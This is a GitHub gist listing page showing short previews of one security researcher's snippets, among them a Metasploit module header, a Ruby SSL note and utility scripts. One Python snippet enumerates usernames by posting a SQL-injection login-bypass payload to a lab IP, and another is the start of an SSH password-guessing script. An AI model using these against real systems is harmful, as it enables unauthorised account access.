Skip to content

Instantly share code, notes, and snippets.

##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'csv'
class Metasploit3 < Msf::Auxiliary
include Msf::HTTP::Wordpress
import requests
url = 'http://static.rastating.com/msf/export.php'
r = requests.get(url)
print r.text

Keybase proof

I hereby claim:

  • I am rastating on github.
  • I am rastating (https://keybase.io/rastating) on keybase.
  • I have a public key whose fingerprint is 2638 6FDF 3A96 64F6 6D07 F200 858C 07BC BD4F 9010

To claim this, I am signing this object:

@rastating
rastating / rspec_model_testing_template.rb
Created March 9, 2016 13:51 — forked from PWSdelta/rspec_model_testing_template.rb
Rails Rspec model testing skeleton & cheat sheet using rspec-rails, shoulda-matchers, shoulda-callbacks, and factory_girl_rails. Pretty much a brain dump of examples of what you can (should?) test in a model. Pick & choose what you like, and please let me know if there are any errors or new/changed features out there. Reddit comment thread: http…
# This is a skeleton for testing models including examples of validations, callbacks,
# scopes, instance & class methods, associations, and more.
# Pick and choose what you want, as all models don't NEED to be tested at this depth.
#
# I'm always eager to hear new tips & suggestions as I'm still new to testing,
# so if you have any, please share!
#
# @kyletcarlson
#
# This skeleton also assumes you're using the following gems:
@rastating
rastating / gist:4c6ae6116c86797fba304fc197365540
Last active April 25, 2019 10:12
Resolving SSL cert issues in Ruby gems such as HTTParty and Typhoeus

Why?

There is a long standing issue in Ruby where the net/http library by default does not check the validity of an SSL certificate during a TLS handshake. Rather than deal with the underlying problem (a missing certificate authority, a self-signed certificate, etc.) one tends to see bad hacks everywhere. This can lead to problems down the road.

From what I can see the OpenSSL library that Rails Installer delivers has no certificate authorities defined. So, let's go fetch some from the curl website. And since this is for ruby, why don't we download and install the file with a ruby script?

Installation

The Ruby Way! (Fun)

@rastating
rastating / getsshpass_ipv6.sh
Created June 14, 2017 23:39
A modified version of the getsshpass.sh script which uses IPv6 instead of IPv4.
#!/bin/bash
#
# sshpass return values:
# 0 - password OK
# 3 - general runtime error
# 5 - bad password
# 255 - connection refused
declare -r START_TIME=$(date +%s.%N) # Start time of the program
@rastating
rastating / sha1check.sh
Created July 23, 2017 21:37
Helper script for validating files against SHA1 checksums
#!/bin/bash
if [ "$#" -ne 2 ]
then
echo "Usage: sha1check [filename] [checksum]"
exit 1
fi
echo "$2 *$1" | sha1sum -c -
import requests
import sys
with open(sys.argv[1], 'r') as f:
for line in f:
sys.stdout.write("Trying username: %s \r" % line.strip())
sys.stdout.flush()
r = requests.post("http://10.2.0.104/checklogin.php", data={ 'myusername' : line.strip(), 'mypassword' : "'or'a'='a", 'Submit' : 'Login' }, allow_redirects=True)
if r.text.find("Oups, something went wrong") == -1:
print "++ Found user %s ++" % line.strip()
# MySQL dump of OpenDocMan
#
#--------------------------------------------------------
#
# Table structure for table 'odm_access_log'
#
CREATE TABLE `odm_access_log` (
`file_id` int(11) NOT NULL,
@rastating
rastating / monzo_to_qbo.py
Last active December 29, 2017 13:56
A Python script to convert the dates in CSV exports from the Monzo mobile application into a format supported by QuickBooks Online. Requires the pandas package, which can be installed via pip.
from dateutil.parser import parse
import pandas as pd
import csv
import sys
if len(sys.argv) == 1:
print "Usage: monzo_to_qbo.py [path to Monzo csv export]"
exit(1)
RED = "\033[1;31m"